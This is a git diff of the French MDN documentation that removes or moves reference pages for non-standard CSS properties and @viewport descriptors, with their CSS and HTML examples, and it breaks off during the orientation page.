Lors de l'impression d'un document, Mozilla tente de produire une page imprimée aussi proche que possible de l'affichage à l'écran, en incluant par exemple le texte saisi dans des champs de formulaire, et tout autre changement dynamique. Pour cela, on imprime l'arbre DOM actuel. Utiliser une feuille de style XSLT spécifique à un media particulier requiererait une nouvelle transformation du document XML source original, ce qui pourrait produire une sortie différant de ce à quoi l'utilisateur s'attend. Aussi, l'utilisation de media dans <?xml-stylesheet ?> est fortement déconseillée. Les futures compilations pourraient ne charger une feuille de style XSLT que si media n'est pas spécifié, ou si le media spécifié comporte screen. +

Ceci n'affecte pas les feuilles de style CSS chargées depuis le DOM généré, qui emploient media comme les pages sans XSLT. +

+

Comment faire transformNode?

+

Il existe transformToDocument et transformToFragment depuis Mozilla 1.2, voir Utilisation de l'interface JavaScript de Mozilla pour les transformations XSL. +

+

Pourquoi Internet Explorer requiert-il un espace de nommage différent de celui de Mozilla ?

+

Jusqu'à sa version 6, IE requiert un espace de nommage déprécié issu d'un brouillon XSLT, merci d'utiliser Mozilla ;-), IE6+ ou MSXML3+, qui ne posent pas ce problème. Comme les différences entre XSLT 1.0 et l'implémentation dans IE de ce brouillon sont significatives, nous n'offrons pas de support. +

+

Comment compiler une version autonome de TransforMiiX ?

+

Voir l'article sur Compilation de TransforMiiX. +

+
+

Informations sur le document original

+
  • Auteur(s) : Axel Hecht +
  • Dernière mise à jour : 2 février 2005 +
  • Copyright : Portions of this content are © 1998–2006 by individual mozilla.org contributors; content available under a Creative Commons license +
+
+

Interwiki Languages Links +

+
+
+{{ languages( { "en": "en/XSL_Transformations_in_Mozilla_FAQ", "ja": "ja/XSL_Transformations_in_Mozilla_FAQ" } ) }} diff --git a/files/fr/web/css/-moz-box-ordinal-group/index.html b/files/fr/web/css/-moz-box-ordinal-group/index.html deleted file mode 100644 index 4215966858..0000000000 --- a/files/fr/web/css/-moz-box-ordinal-group/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: '-moz-box-ordinal-group' -slug: Web/CSS/-moz-box-ordinal-group -tags: - - CSS - - Non-standard - - Propriété - - Reference -translation_of: Web/CSS/box-ordinal-group -translation_of_original: Web/CSS/-moz-box-ordinal-group ---- -
{{CSSRef}}
- -
-

Attention ! Cette propriété a été implémentée pour les premiers brouillons de la spécification pour le module de boîtes flexibles. Elle a été remplacée par des propriétés standards depuis, pour plus d'informations sur ce qui doit être utilisé à la place, consultez l'article sur les boîtes flexibles.

-
- -

La propriété -moz-box-ordinal-group indique le groupe ordinal auquel appartient l'élément. Les éléments dont le groupe ordinal est inférieur seront affichés avant ceux dont le groupe ordinal est plus élevé.

- -

Valeurs

- -

Cette propriété accepte des valeurs entières strictement positives. La valeur initiale de cette propriété est 1.

- -

Exemples

- -

CSS

- -
#Flexbox {
-  display: -ms-box;
-  display: -moz-box;
-  display: -webkit-box;
-}
-
-#text1 {
-  background: red;
-  -ms-box-ordinal-group: 4;
-  -moz-box-ordinal-group: 4;
-  -webkit-box-ordinal-group: 4;
-}
-
-#text2 {
-  background: green;
-  -ms-box-ordinal-group: 3;
-  -moz-box-ordinal-group: 3;
-  -webkit-box-ordinal-group: 3;
-}
-
-#text3 {
-  background: blue;
-  -ms-box-ordinal-group: 2;
-  -moz-box-ordinal-group: 2;
-  -webkit-box-ordinal-group: 2;
-}
-
-#text4 {
-  background: orange;
-}
- -

HTML

- -
<div id="Flexbox">
-  <div id="text1">text 1</div>
-  <div id="text2">text 2</div>
-  <div id="text3">text 3</div>
-  <div id="text4">text 4</div>
-</div>
- -

Résultat

- -

{{EmbedLiveSample("Exemples","300","300")}}

- -

Spécifications

- -

Cette propriété est une propriété propriétaire liée à Mozilla/Gecko et ne fait partie d'aucune spécification.

diff --git a/files/fr/web/css/-moz-cell/index.html b/files/fr/web/css/-moz-cell/index.html deleted file mode 100644 index a7121bf02e..0000000000 --- a/files/fr/web/css/-moz-cell/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: '-moz-cell' -slug: Web/CSS/-moz-cell -tags: - - CSS - - Obsolete - - Propriété - - Reference -translation_of: Web/CSS/cursor -translation_of_original: Web/CSS/-moz-cell ---- -
-
{{CSSRef}}{{deprecated_header}}
- -

Ne pas utiliser cette valeur ! C'est la valeur cursor {{cssxref("cursor#cell","cell")}} qui doit être utilisée à la place.

-
diff --git a/files/fr/web/css/-ms-high-contrast/index.html b/files/fr/web/css/-ms-high-contrast/index.html deleted file mode 100644 index e9aef6fa8e..0000000000 --- a/files/fr/web/css/-ms-high-contrast/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: '-ms-high-contrast' -slug: Web/CSS/-ms-high-contrast -tags: - - '@media' - - CSS - - Caractéristique média - - Non-standard - - Reference -translation_of: Web/CSS/@media/-ms-high-contrast ---- -
{{CSSRef}}{{Non-standard_header}}
- -

La caractéristique média -ms-high-contrast, relative à la règle @ @media, est une extension Microsoft qui décrit si l'application est affichée dans un mode de contraste élevé et, si c'est le cas, quelle est la variation de couleur affichée.

- -

Cette caractéristique média s'applique aux média de type matriciel (bitmap). Elle ne gère pas les préfixes min et max.

- -

Syntaxe

- -

La caractéristique média -ms-high-contrast est définie avec une des valeurs définies ci-après.

- -

Valeurs

- -
-
active
-
-

Cette valeur indique que les règles de mise en forme qui suivent sont appliquées lorsque le système utilise un affichage avec contraste élevé, quel que soit la variation de couleur.

-
-
none{{deprecated_inline}}
-
Cette valeur n'est plus prise en charge par Edge.
-
black-on-white
-
-

Cette valeur indique que les règles de mise en forme qui suivent sont appliquées lorsque le système utilise un affichage avec contraste élevé en noir sur blanc.

-
-
white-on-black
-
-

Cette valeur indique que les règles de mise en forme qui suivent sont appliquées lorsque le système utilise un affichage avec contraste élevé en blanc sur noir.

-
-
- -

Syntaxe formelle

- -
{{CSSSyntax}}
- -

Exemples

- -

Les déclarations suivantes s'appliqueront respectivement sur des applications utilisées avec un mode de contraste élevé, avec une variation en noir sur blanc et enfin avec une variation en blanc sur noir.

- -
@media screen and (-ms-high-contrast: active) {
-  /* Règles utilisées dans tous les cas si
-     le contraste élevé est utilisé */
-}
-@media screen and (-ms-high-contrast: black-on-white) {
-  div { background-image: url('image-bw.png'); }
-}
-@media screen and (-ms-high-contrast: white-on-black) {
-  div { background-image: url('image-wb.png'); }
-}
-
- -

Spécifications

- -

Cette caractéristique est propre à Microsoft et n'est décrite dans aucune spécification.

- -

Notes

- -

À partir de Microsoft Edge, -ms-high-contrast: none n'est plus pris en charge.

- -

La caractéristique média -ms-high-contrast fonctionne avec la propriété {{cssxref("-ms-high-contrast-adjust")}}.

- -

La caractéristique média -ms-high-contrast a été introduite avec Windows 8.

diff --git a/files/fr/web/css/-ms-scroll-snap-type/index.html b/files/fr/web/css/-ms-scroll-snap-type/index.html deleted file mode 100644 index fff872ad27..0000000000 --- a/files/fr/web/css/-ms-scroll-snap-type/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: '-ms-scroll-snap-type' -slug: Web/CSS/-ms-scroll-snap-type -tags: - - CSS - - Non-standard - - Reference -translation_of: Web/CSS/scroll-snap-type -translation_of_original: Web/CSS/-ms-scroll-snap-type ---- -
{{CSSRef}}{{non-standard_header}}
- -

La propriété -ms-scroll-snap-type est une propriété spécifique à Microsoft qui indique le type de point d'accroche à utiliser pour l'élément courant.

- -

Syntaxe

- -

Valeurs

- -
-
none
-
-

Valeur initiale. Le déplacement et le défilement ne sont pas modifiés par les points d'accroche.

-
-
proximity
-
-

Lorsque l'inertie normale fait arriver à proximité d'un point d'accroche, la vitesse est ajustée afin que le mouvement se termine sur un point d'accroche. Il est toutefois possible que le mouvement se termine entre deux points d'accroche.

-
-
mandatory
-
-

L'inertie est ajustée afin que le mouvement se termine toujours sur un point d'accroche.

-
-
- -

Syntaxe formelle

- -
{{csssyntax}}
-
- -

Spécifications

- -

Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.

- -

{{cssinfo}}

- -

Notes

- -

 

- -

Cette propriété est disponible à partir de Windows 8. Elle n'a aucun effet pour les éléments qui ne permettent pas d'utiliser un ascenseur.

- -

À partir de Windows 8.1, cette propriété est également prise en charge pour les interactions à la souris, au clavier ou au pavé tactile.

diff --git a/files/fr/web/css/-ms-user-select/index.html b/files/fr/web/css/-ms-user-select/index.html deleted file mode 100644 index 047c721acc..0000000000 --- a/files/fr/web/css/-ms-user-select/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: '-ms-user-select' -slug: Web/CSS/-ms-user-select -tags: - - CSS - - Non-standard - - Propriété - - Reference -translation_of: Web/CSS/user-select -translation_of_original: Web/CSS/-ms-user-select ---- -
{{CSSRef}}{{non-standard_header}}
- -

La propriété CSS -ms-user-select est une propriété spécifique à Microsoft qui indique sur quelle zone d'un élément l'utilisateur peut sélectionner le texte de l'élément.

- -

Syntax

- -

Valeurs

- -
-
none
-
-

Empêche la sélection de commencer sur l'élément. Cette valeur n'empêche pas une sélection déjà initiée de continuer sur l'élément.

-
-
element
-
-

Active la sélection au sein de l'élément. Toutefois, la sélection est limitée aux bords de l'élément.

-
-
text
-
-

Active la sélection au sein de l'élément et permet de poursuivre la sélection à l'extérieur de l'élément.

-
-
- -

Syntaxe formelle

- -
{{csssyntax}}
-
- -

Exemples

- -

Dans l'exemple suivant, on utilise le scénario d'un blog avec un conteneur qui est un élément {{HTMLElement("div")}} avec un identifiant blog. Ce conteneur contient un autre élément <div> avec l'identifiant blogPost pour le billet de la page. La classe comment est appliquée aux éléments <div> qui sont des commentaires. Le billet de blog contient un élément {{HTMLElement("input")}} et un élément {{HTMLElement("textarea")}} pour ajouter un commentaire.

- -

La déclaration suivante désactive la sélection à l'exception du contenu éditable.

- -
#blog {
-  -ms-user-select: none;
-  -webkit-user-select: none;
-  -moz-user-select: -moz-none;
-}
-
- -

La déclaration suivante désactive la sélection pour le reste :

- -
#blog, #blog input, #blog textarea,
-#blog *[contenteditable=true] {
-  -ms-user-select: none;
-  -webkit-user-select: none;
-  -moz-user-select: -moz-none;
-}
-
- -

La déclaration suivante permet aux utilisateurs de ne sélectionner que le contenu du billet.

- -
#blogPost {
-  -ms-user-select: element;
-  -webkit-user-select:  text;
-  -moz-user-select: text;
-}
-
-#blog {
-  -ms-user-select: none;
-  -webkit-user-select: none;
-  -moz-user-select: -moz-none;
-}
-
- -

La déclaration suivante permet aux utilisateurs de ne sélectionner que les commentaires.

- -
.comment {
-  -ms-user-select: element;
-  -moz-user-select: text;
-  -webkit-user-select: text;
-}
-
-#blog{
-  -ms-user-select: none;
-  -moz-user-select: -moz-none;
-  -webkit-user-select: none;
-}
-
- -

Le code suivan permet de commencer la sélection sur le billet ou sur l'un des commentaires et de poursuivre sur la suite.

- -
#blogPost, .comment {
-  -ms-user-select: text;
-}
-
-#blog {
-  -ms-user-select: none;
-}
-
- -

Spécifications

- -

Cette propriété est une propriété non-standard qui ne fait partie d'aucune spécification.

- -

{{cssinfo}}

diff --git a/files/fr/web/css/-webkit-mask-image/index.html b/files/fr/web/css/-webkit-mask-image/index.html deleted file mode 100644 index 2303f48997..0000000000 --- a/files/fr/web/css/-webkit-mask-image/index.html +++ /dev/null @@ -1,175 +0,0 @@ ---- -title: '-webkit-mask-image' -slug: Web/CSS/-webkit-mask-image -tags: - - CSS -translation_of: Web/CSS/mask-image -translation_of_original: Web/CSS/-webkit-mask-image ---- -

{{ CSSRef() }}

- -

{{ Non-standard_header() }}

- -

Résumé

- -

La propriété CSS -webkit-mask-image définit l'image de masque pour un élément. L'image de masque découpe la portion visible d'un élément conformément aux valeurs de transparence de cette image.

- -
    -
  • {{ Xref_cssinitial() }} : none
    • -
  • S'applique à : tous les éléments
    • -
  • {{ Xref_cssinherited() }} : non
    • -
  • Média : {{ Xref_cssvisual() }}
    • -
  • {{ Xref_csscomputed() }} : URI absolue ou none
    • -
- -

Syntaxe

- -
-webkit-mask-image:  <mask-image>[, <mask-image>]*
-
- -

Valeurs :

- -
-
<mask-image>
-
{{cssxref("<uri>")}} | <gradient> | none
-
- -

Values

- -
-
<uri>
-
Chemin de la ressource image utilisée comme masque.
-
 
-
<gradient>
-
Fonction-webkit-gradient utilisée comme masque.
-
none
-
Signifie que l'élément n'a pas de masque image.
-
- -

Exemples

- -
body {
-    -webkit-mask-image: url('images/mymask.png');
-}
-
-div {
-    -webkit-mask-image: url('images/foo.png'), url('images/bar.png');
-}
-
-p {
-    -webkit-mask-image: none;
-}
-
- -

Notes

- -

Si plusieurs images de masque sont spécifiées, la région visible résultat sera la combinaison des régions visibles de chaque image.

- -

Compatibilité des navigateurs

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Support basique{{ CompatNo() }}1.0{{ CompatNo() }}{{ CompatNo() }}4.0
Images de masque multiples{{ CompatNo() }}1.0{{ CompatNo() }}{{ CompatNo() }}4.0
Dégradés{{ CompatNo() }}1.0{{ property_prefix("-webkit") }}{{ CompatNo() }}{{ CompatNo() }}4.0{{ property_prefix("-webkit") }}
Masques SVG{{ CompatNo() }}8.0{{ CompatNo() }}{{ CompatNo() }}4.0
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéiOS SafariOpera MiniOpera MobileAndroid Browser
Support basique3.2{{ CompatNo() }}{{ CompatNo() }}2.1
Images de masque multiplesyes{{ CompatNo() }}{{ CompatNo() }}yes
Dégradésyes {{ property_prefix("-webkit") }}{{ CompatNo() }}{{ CompatNo() }}yes{{ property_prefix("-webkit") }}
-

Masques SVG

- 		-

yes

- 		-

{{ CompatNo() }}

- 		-

{{ CompatNo() }}

- 		-

yes

-
-
- -
Note : Gecko supporte les effets de filtre SVG depuis sa version 1.9.1. Ils peuvent être utilisés pour masquer du contenu HTML.
- -

Voir également

- -

{{ cssxref("-webkit-mask") }}, {{ cssxref("-webkit-mask-origin") }}, {{ cssxref("-webkit-mask-attachment") }},{{ cssxref("-webkit-mask-image") }},{{ cssxref("-webkit-mask-composite") }},{{ cssxref("-webkit-mask-repeat") }}

diff --git a/files/fr/web/css/@media/-ms-high-contrast/index.html b/files/fr/web/css/@media/-ms-high-contrast/index.html new file mode 100644 index 0000000000..e9aef6fa8e --- /dev/null +++ b/files/fr/web/css/@media/-ms-high-contrast/index.html @@ -0,0 +1,71 @@ +--- +title: '-ms-high-contrast' +slug: Web/CSS/-ms-high-contrast +tags: + - '@media' + - CSS + - Caractéristique média + - Non-standard + - Reference +translation_of: Web/CSS/@media/-ms-high-contrast +--- +
{{CSSRef}}{{Non-standard_header}}
+ +

La caractéristique média -ms-high-contrast, relative à la règle @ @media, est une extension Microsoft qui décrit si l'application est affichée dans un mode de contraste élevé et, si c'est le cas, quelle est la variation de couleur affichée.

+ +

Cette caractéristique média s'applique aux média de type matriciel (bitmap). Elle ne gère pas les préfixes min et max.

+ +

Syntaxe

+ +

La caractéristique média -ms-high-contrast est définie avec une des valeurs définies ci-après.

+ +

Valeurs

+ +
+
active
+
+

Cette valeur indique que les règles de mise en forme qui suivent sont appliquées lorsque le système utilise un affichage avec contraste élevé, quel que soit la variation de couleur.

+
+
none{{deprecated_inline}}
+
Cette valeur n'est plus prise en charge par Edge.
+
black-on-white
+
+

Cette valeur indique que les règles de mise en forme qui suivent sont appliquées lorsque le système utilise un affichage avec contraste élevé en noir sur blanc.

+
+
white-on-black
+
+

Cette valeur indique que les règles de mise en forme qui suivent sont appliquées lorsque le système utilise un affichage avec contraste élevé en blanc sur noir.

+
+
+ +

Syntaxe formelle

+ +
{{CSSSyntax}}
+ +

Exemples

+ +

Les déclarations suivantes s'appliqueront respectivement sur des applications utilisées avec un mode de contraste élevé, avec une variation en noir sur blanc et enfin avec une variation en blanc sur noir.

+ +
@media screen and (-ms-high-contrast: active) {
+  /* Règles utilisées dans tous les cas si
+     le contraste élevé est utilisé */
+}
+@media screen and (-ms-high-contrast: black-on-white) {
+  div { background-image: url('image-bw.png'); }
+}
+@media screen and (-ms-high-contrast: white-on-black) {
+  div { background-image: url('image-wb.png'); }
+}
+
+ +

Spécifications

+ +

Cette caractéristique est propre à Microsoft et n'est décrite dans aucune spécification.

+ +

Notes

+ +

À partir de Microsoft Edge, -ms-high-contrast: none n'est plus pris en charge.

+ +

La caractéristique média -ms-high-contrast fonctionne avec la propriété {{cssxref("-ms-high-contrast-adjust")}}.

+ +

La caractéristique média -ms-high-contrast a été introduite avec Windows 8.

diff --git a/files/fr/web/css/@media/index/index.html b/files/fr/web/css/@media/index/index.html deleted file mode 100644 index e227a1aecb..0000000000 --- a/files/fr/web/css/@media/index/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Index -slug: Web/CSS/@media/Index -tags: - - '@media' - - CSS - - Index -translation_of: Web/CSS/@media/Index ---- -

{{CSSRef}}

- -

{{Index("/fr/docs/Web/CSS/@media")}}

diff --git a/files/fr/web/css/@viewport/height/index.html b/files/fr/web/css/@viewport/height/index.html deleted file mode 100644 index bd7b0871c9..0000000000 --- a/files/fr/web/css/@viewport/height/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: height -slug: Web/CSS/@viewport/height -tags: - - '@viewport' - - CSS - - Descripteur - - Reference -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/height ---- -
{{CSSRef}}
- -

Le descripteur height, rattaché à la règle @ {{cssxref("@viewport")}} est un raccourci permettant de définir les deux descripteurs {{cssxref("@viewport/min-height", "min-height")}} et {{cssxref("@viewport/max-height", "max-height")}}.

- -

Si on fournit une seule valeur, c'est cette valeur qui sera utilisée pour la hauteur minimale et maximale de la zone d'affichage (viewport). Si on fournit deux valeurs, la première correspondra à la hauteur minimale de la zone d'affichage et la deuxième à la hauteur maximale.

- -

Syntaxe

- -
/* Une valeur de longueur        */
-/* Type <length> ou <percentage> */
-height: auto;
-height: 320px;
-height: 15em;
-
-/* Deux valeurs de longueur */
-height: 320px 200px;
-
- -

Valeurs

- -
-
auto
-
La valeur utilisée sera calculée à partir des valeurs des autres descripteurs.
-
<length>
-
Une longueur relative ou absolue qui doit être positive.
-
<percentage>
-
Une valeur exprimée en pourcentages qui est relative à la hauteur de la zone d'affichage (viewport) lorsque le niveau de zoom vaut 1. Cette valeur doit être positive.
-
- -

Syntaxe formelle

- -
{{csssyntax}}
-
- -

Exemples

- -
@viewport {
-  height: 500px;
-}
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#descdef-viewport-height', '"height" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
- -

{{cssinfo}}

- -

Compatibilité des navigateurs

- - - -

{{Compat("css.at-rules.viewport.height")}}

diff --git a/files/fr/web/css/@viewport/max-height/index.html b/files/fr/web/css/@viewport/max-height/index.html deleted file mode 100644 index fd3499f24c..0000000000 --- a/files/fr/web/css/@viewport/max-height/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: max-height -slug: Web/CSS/@viewport/max-height -tags: - - '@viewport' - - CSS - - Descripteur - - Reference -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/max-height ---- -
{{CSSRef}}
- -

Le descripteur max-height, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir la hauteur maximale de la zone d'affichage (viewport) d'un document.

- -

Syntaxe

- -
/* Avec un mot-clé */
-max-height: auto;
-
-/* Valeur de longueur */
-/* Type <length>      */
-max-height: 400px;
-max-height: 50em;
-max-height: 20cm;
-
-/* Valeur proportionnelle */
-/* Type <percentage>      */
-max-height: 75%;
- -

Valeurs

- -
-
auto
-
La valeur utilisée est alors calculée selon les valeurs des autres descripteurs.
-
<length>
-
Une valeur absolue ou relative représentant une longueur. Cette valeur doit être positive.
-
<percentage>
-
Une valeur de pourcentage relative à la hauteur initiale de la zone d'affichage lorsque le niveau de zoom vaut 1. Cette valeur doit être positive.
-
- -

Syntaxe formelle

- -
{{csssyntax}}
- -

Exemples

- -
@viewport {
-  max-height: 600px;
-}
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#descdef-viewport-max-height', '"max-height" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
- -

{{cssinfo}}

- -

Compatibilité des navigateurs

- - - -

{{Compat("css.at-rules.viewport.max-height")}}

diff --git a/files/fr/web/css/@viewport/max-width/index.html b/files/fr/web/css/@viewport/max-width/index.html deleted file mode 100644 index f131a09f7d..0000000000 --- a/files/fr/web/css/@viewport/max-width/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: max-width -slug: Web/CSS/@viewport/max-width -tags: - - CSS - - Descripteur - - Reference -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/max-width ---- -
{{CSSRef}}
- -

Le descripteur max-width, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir la largeur maximale de la zone d'affichage (viewport) d'un document. Par défaut, la largeur maximale de la zone d'affichage correspond à celle du viewport initial.

- -

Syntaxe

- -
/* Avec un mot-clé */
-max-width: auto;
-
-/* Valeur de longueur */
-/* Type <length>      */
-max-width: 400px;
-max-width: 50em;
-max-width: 20cm;
-
-/* Valeur proportionnelle */
-/* Type <percentage>      */
-max-width: 75%;
- -

Valeurs

- -
-
auto
-
La valeur utilisée est alors calculée selon les valeurs des autres descripteurs.
-
<length>
-
Une valeur absolue ou relative représentant une longueur. Cette valeur doit être positive.
-
<percentage>
-
Une valeur de pourcentage relative à la largeur initiale de la zone d'affichage lorsque le niveau de zoom vaut 1. Cette valeur doit être positive.
-
- -

Syntaxe formelle

- -
{{csssyntax}}
- -

Exemples

- -
@viewport {
-  max-width: 600px;
-}
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#descdef-viewport-max-width', '"max-width" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
- -

{{cssinfo}}

- -

Compatibilité des navigateurs

- - - -

{{Compat("css.at-rules.viewport.max-width")}}

diff --git a/files/fr/web/css/@viewport/max-zoom/index.html b/files/fr/web/css/@viewport/max-zoom/index.html deleted file mode 100644 index a5021d48f3..0000000000 --- a/files/fr/web/css/@viewport/max-zoom/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: max-zoom -slug: Web/CSS/@viewport/max-zoom -tags: - - CSS - - Descripteur - - Reference -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/max-zoom ---- -
{{CSSRef}}
- -

Le descripteur max-zoom, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir le niveau de zoom maximal au-delà duquel le navigateur n'augmentera pas le niveau de zoom (que ce soit une action automatique ou une action de l'utilisateur).

- -

Un facteur de zoom égal à 1.0 ou à 100% correspond à l'absence de zoom. Si on utilise des valeurs supérieures, cela correspondra à un niveau de zoom plus élevé. À l'inverse des valeurs inférieures traduiront un « dézoom ».

- -

Syntaxe

- -
/* Valeur avec un mot-clé */
-max-zoom: auto;
-
-/* Nombres : type <number> */
-max-zoom: 0.8;
-max-zoom: 2.0;
-
-/* Valeurs proportionnelles : type <percentage> */
-max-zoom: 150%;
-
- -

Valeurs

- -
-
auto
-
L'agent utilisateur détermine la limite du niveau de zoom applicable pour le document.
-
<number>
-
Un nombre positif qui correspond à la limite haute du niveau de zoom (cf. {{cssxref("<number>")}}).
-
<percentage>
-
Un pourcentage positif qui correspond à la limite haute du niveau de zoom (cf. {{cssxref("<percentage>")}}).
-
- -

Syntaxe formelle

- -
{{csssyntax}}
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#max-zoom-desc', '"max-zoom" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
- -

{{cssinfo}}

- -

Compatibilité des navigateurs

- - - -

{{Compat("css.at-rules.viewport.max-zoom")}}

diff --git a/files/fr/web/css/@viewport/min-height/index.html b/files/fr/web/css/@viewport/min-height/index.html deleted file mode 100644 index 83a55c3c66..0000000000 --- a/files/fr/web/css/@viewport/min-height/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: min-height -slug: Web/CSS/@viewport/min-height -tags: - - '@viewport' - - CSS - - Descripteur - - Reference -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/min-height ---- -
{{CSSRef}}
- -

Le descripteur min-height, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir la hauteur minimale de la zone d'affichage (viewport) d'un document.

- -

Syntaxe

- -
/* Avec un mot-clé */
-min-height: auto;
-
-/* Valeur de longueur */
-/* Type <length>      */
-min-height: 400px;
-min-height: 50em;
-min-height: 20cm;
-
-/* Valeur proportionnelle */
-/* Type <percentage>      */
-min-height: 75%;
- -

Valeurs

- -
-
auto
-
La valeur utilisée est alors calculée selon les valeurs des autres descripteurs.
-
<length>
-
Une valeur absolue ou relative représentant une longueur. Cette valeur doit être positive.
-
<percentage>
-
Une valeur de pourcentage relative à la hauteur initiale de la zone d'affichage lorsque le niveau de zoom vaut 1. Cette valeur doit être positive.
-
- -

Syntaxe formelle

- -
{{csssyntax}}
- -

Exemples

- -
@viewport {
-  min-height: 600px;
-}
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#descdef-viewport-min-height', '"min-height" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
- -

{{cssinfo}}

- -

Compatibilité des navigateurs

- - - -

{{Compat("css.at-rules.viewport.min-height")}}

diff --git a/files/fr/web/css/@viewport/min-width/index.html b/files/fr/web/css/@viewport/min-width/index.html deleted file mode 100644 index aa345f6c1e..0000000000 --- a/files/fr/web/css/@viewport/min-width/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: min-width -slug: Web/CSS/@viewport/min-width -tags: - - CSS - - Descripteur - - Reference -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/min-width ---- -
{{CSSRef}}
- -

Le descripteur min-width, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir la largeur minimale de la zone d'affichage (viewport) d'un document.

- -

Syntaxe

- -
/* Avec un mot-clé */
-min-width: auto;
-
-/* Valeur de longueur */
-/* Type <length>      */
-min-width: 400px;
-min-width: 50em;
-min-width: 20cm;
-
-/* Valeur proportionnelle */
-/* Type <percentage>      */
-min-width: 75%;
- -

Valeurs

- -
-
auto
-
La valeur utilisée est alors calculée selon les valeurs des autres descripteurs.
-
<length>
-
Une valeur absolue ou relative représentant une longueur. Cette valeur doit être positive.
-
<percentage>
-
Une valeur de pourcentage relative à la largeur initiale de la zone d'affichage lorsque le niveau de zoom vaut 1. Cette valeur doit être positive.
-
- -

Syntaxe formelle

- -
{{csssyntax}}
- -

Exemples

- -
@viewport {
-  min-width: 600px;
-}
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#descdef-viewport-min-width', '"min-width" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
- -

{{cssinfo}}

- -

Compatibilité des navigateurs

- - - -

{{Compat("css.at-rules.viewport.min-width")}}

diff --git a/files/fr/web/css/@viewport/min-zoom/index.html b/files/fr/web/css/@viewport/min-zoom/index.html deleted file mode 100644 index 295e87ce7a..0000000000 --- a/files/fr/web/css/@viewport/min-zoom/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: min-zoom -slug: Web/CSS/@viewport/min-zoom -tags: - - CSS - - Descripteur - - Reference -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/min-zoom ---- -
{{CSSRef}}
- -

Le descripteur min-zoom, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir le niveau de zoom minimal en-dessous duquel le navigateur ne réduira pas le niveau de zoom (que ce soit une action automatique ou une action de l'utilisateur).

- -

Un facteur de zoom égal à 1.0 ou à 100% correspond à l'absence de zoom. Si on utilise des valeurs supérieures, cela correspondra à un niveau de zoom plus élevé. À l'inverse des valeurs inférieures traduiront un « dézoom ».

- -

Syntaxe

- -
/* Valeur avec un mot-clé */
-min-zoom: auto;
-
-/* Nombres : type <number> */
-min-zoom: 0.8;
-min-zoom: 2.0;
-
-/* Valeurs proportionnelles : type <percentage> */
-min-zoom: 150%;
-
- -

Valeurs

- -
-
auto
-
L'agent utilisateur détermine la limite du niveau de zoom applicable pour le document.
-
<number>
-
Un nombre positif qui correspond à la limite basse du niveau de zoom (cf. {{cssxref("<number>")}}).
-
<percentage>
-
Un pourcentage positif qui correspond à la limite basse du niveau de zoom (cf. {{cssxref("<percentage>")}}).
-
- -

Syntaxe formelle

- -
{{csssyntax}}
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#min-zoom-desc', '"min-zoom" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
- -

{{cssinfo}}

- -

Compatibilité des navigateurs

- - - -

{{Compat("css.at-rules.viewport.min-zoom")}}

diff --git a/files/fr/web/css/@viewport/orientation/index.html b/files/fr/web/css/@viewport/orientation/index.html deleted file mode 100644 index 42e89f24e5..0000000000 --- a/files/fr/web/css/@viewport/orientation/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: orientation -slug: Web/CSS/@viewport/orientation -tags: - - CSS - - Descripteur - - Reference -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/orientation ---- -
{{CSSRef}}
- -

Le descripteur orientation, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir l'orientation d'un document.

- -
/* Valeurs avec un mot-clé */
-orientation: auto;
-orientation: portrait;
-orientation: landscape;
-
- -

